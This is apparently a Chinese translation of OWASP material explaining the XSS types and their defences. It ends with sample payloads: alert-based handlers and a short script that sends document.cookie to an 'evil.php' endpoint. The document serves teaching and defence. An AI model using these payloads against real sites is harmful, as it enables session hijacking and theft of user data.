攻击者会给网站发送可疑的脚本,可以获取浏览器保存的网站cookie, session tokens, 或者其他敏感的信息,甚至可以重写HTML页面的内容。
背景
XSS漏洞有不同类型,最开始发现的是存储型XSS和反射型XSS,2005,Amit Klein发现了基于DOM的XSS。
反射型XSS也叫不可持续XSS,当用户输入在错误消息、搜索结果或任何其他响应中立即由Web应用程序返回时,就会发生反射式XSS,这些响应包含用户作为请求的一部分提供的一些或全部输入,而不会在浏览器中安全地呈现这些数据,也不会永久存储用户提供的数据。在某些情况下,用户提供的数据甚至可能永远不会离开浏览器。
存储型XSS也叫可持续的XSS,存储型XSS通常发生在用户输入存储在目标服务器上时,例如在数据库、论坛、访客日志、评论字段等中。然后受害者能够从Web应用程序检索存储的数据,
而无需在浏览器中安全地呈现这些数据。随着HTML5和其他浏览器技术的出现,我们可以设想攻击有效负载被永久存储在受害者的浏览器中,例如HTML5数据库,而根本不会被发送到服务器。
基于DOM的XSS(或某些文本中称为“类型0 XSS”)是一种XSS攻击,其中攻击有效负载是通过修改原始客户端脚本在受害者浏览器中使用的DOM“环境”来执行的,这样客户端代码就会以“意外”的方式运行。也就是说,页面本身(即HTTP响应)没有改变,但由于DOM环境中发生的恶意修改,页面中包含的客户端代码执行方式不同。
不同类型的XSS
上述三种XSS分类存在重叠,2012年,研究会提议开始用新的词来识别XSS。
- 服务端XSS
- 客户端XSS
服务器端XSS发生在服务器生成的HTTP响应中包含不受信任的用户提供的数据时。这些数据的来源可能是请求,也可能是存储位置。因此,您可以同时拥有反射式服务器端XSS和存储式服务器端XSS。在这种情况下,整个漏洞都在服务器端代码中,浏览器只是呈现响应并执行其中嵌入的有效脚本。
客户端XSS发生在不信任的用户提供的数据用于使用不安全的JavaScript调用更新DOM时。如果可以将有效的JavaScript引入DOM,则JavaScript调用被视为不安全。这些数据的来源可能是DOM,也可能是由服务器发送的(通过AJAX调用或页面加载)。数据的最终来源可能是来自请求,或者是来自客户端或服务器上的存储位置。因此,您可以同时拥有反射式客户端XSS和存储式客户端XSS。有了这些新的定义,基于DOM的XSS的定义并没有改变。基于DOM的XSS只是客户端XSS的一个子集,其中数据的来源在DOM中,而不是来自服务器。
原文:Types of XSS | OWASP Foundation
推荐的服务端XSS防御方式
服务端XSS是由于在HTML响应中包含了不可信任的数据,最简单和最有力的服务端XSS防御方式为上下文敏感的服务器端输出编码
输入验证和数据清理也可以防止服务端XSS,但是难以正确。
推荐的客户端XSS防御方式
客户端XSS发生在不信任的数据于以不安全的JavaScript调用更新DOM时。针对客户端XSS最简单和最有效的防御是:
使用安全的JavaScript API
但是,开发人员经常不知道哪些JavaScript API是安全的,更不用说他们最喜欢的JavaScript库中的哪些方法是安全的。Dave Wichers在2012年OWASP AppSec USA的DOM XSS演讲中介绍了哪些JavaScript和jQuery方法是安全和不安全的。 如果你知道JavaScript方法是危险的,我们的主要建议是寻找一个安全的替代方法。如果你因为某种原因不能这样做,那么在将数据传递给不安全的JavaScript方法之前,可以在浏览器中进行上下文敏感的输出编码。OWASP的指导说明如何正确执行此操作,在DOM XSS预防备忘单中有所介绍。请注意,此指南适用于所有类型的客户端XSS,无论数据实际来自何处(DOM或服务器)。DOM based XSS Prevention - OWASP Cheat Sheet Series
XSS攻击的后果
泄露用户的session cookie,允许攻击者劫持用户会话和控制用户账号,
其他伤害包含泄露用户的文件,安装特洛伊木马程序,将用户重定向至其他网站,修改内容呈现方式。
允许攻击者修改新闻稿或新闻项目的XSS漏洞可能会影响公司的股价或降低消费者的信心。
制药网站的XSS漏洞可能允许攻击者修改剂量信息,导致过量服用。
有关这些类型攻击的更多信息,请参阅Content_Spoofing。https://owasp.org/www-community/attacks/Content_Spoofing
如何发现XSS攻击
查找漏洞的最佳方法是执行代码的安全性审查,并查找所有可能通过HTTP请求将代码
插入HTML文档的地方。有很多HTML标签可以传递javascript文档,有一些工具如Nessus,Nikto和其他的一些工具可以帮助扫描这些缺陷,但是可能仅仅只发现表面问题。如果网站有一个地方是脆弱的,那么有很大可能其他地方也有问题。
如何防护?
OWASP XSS预防作弊表Cross Site Scripting Prevention - OWASP Cheat Sheet Series描述了防止XSS的主要防御措施。此外,关闭所有Web服务器上的HTTP TRACE支持是至关重要的。即使在客户端禁用或不支持document.cookie的情况下,攻击者也可以通过Javascript窃取cookie数据。当用户将恶意脚本发布到论坛时,就会发起这种攻击,当另一个用户点击链接时,就会触发异步HTTP跟踪调用,从服务器收集用户cookie信息,然后将其发送到另一个恶意服务器,该服务器收集cookie信息,以便攻击者能够发起会话劫持攻击。通过在所有Web服务器上移除对HTTP TRACE的支持可以轻松减轻这种攻击。OWASP ESAPI项目用几种语言产生了一套可重复使用的安全组件,包括用于防止参数篡改和XSS攻击注入的验证和转义例程。此外,OWASP WebGoat项目培训应用程序提供了有关跨站脚本和数据编码的课程。
XSS语法
常见的是把XSS脚本嵌入<script>...</script> 标签,但是其他的标签也可以嵌入XSS脚本。
如
<body οnlοad=alert('test1')>
其他属性如 onmouseover, onerror.
onmouseover
<b οnmοuseοver=alert('Wufff!')>click me!</b>
onerror
<img src="http://url.to.file.which/not.exist" οnerrοr=alert(document.cookie);>
通过编码的URI格式 <IMG SRC=jAvascript:alert('test2')>
将我们的脚本进行base64编码并放入META标签
<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">
举例
1、获取cookie
<SCRIPT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</SCRIPT>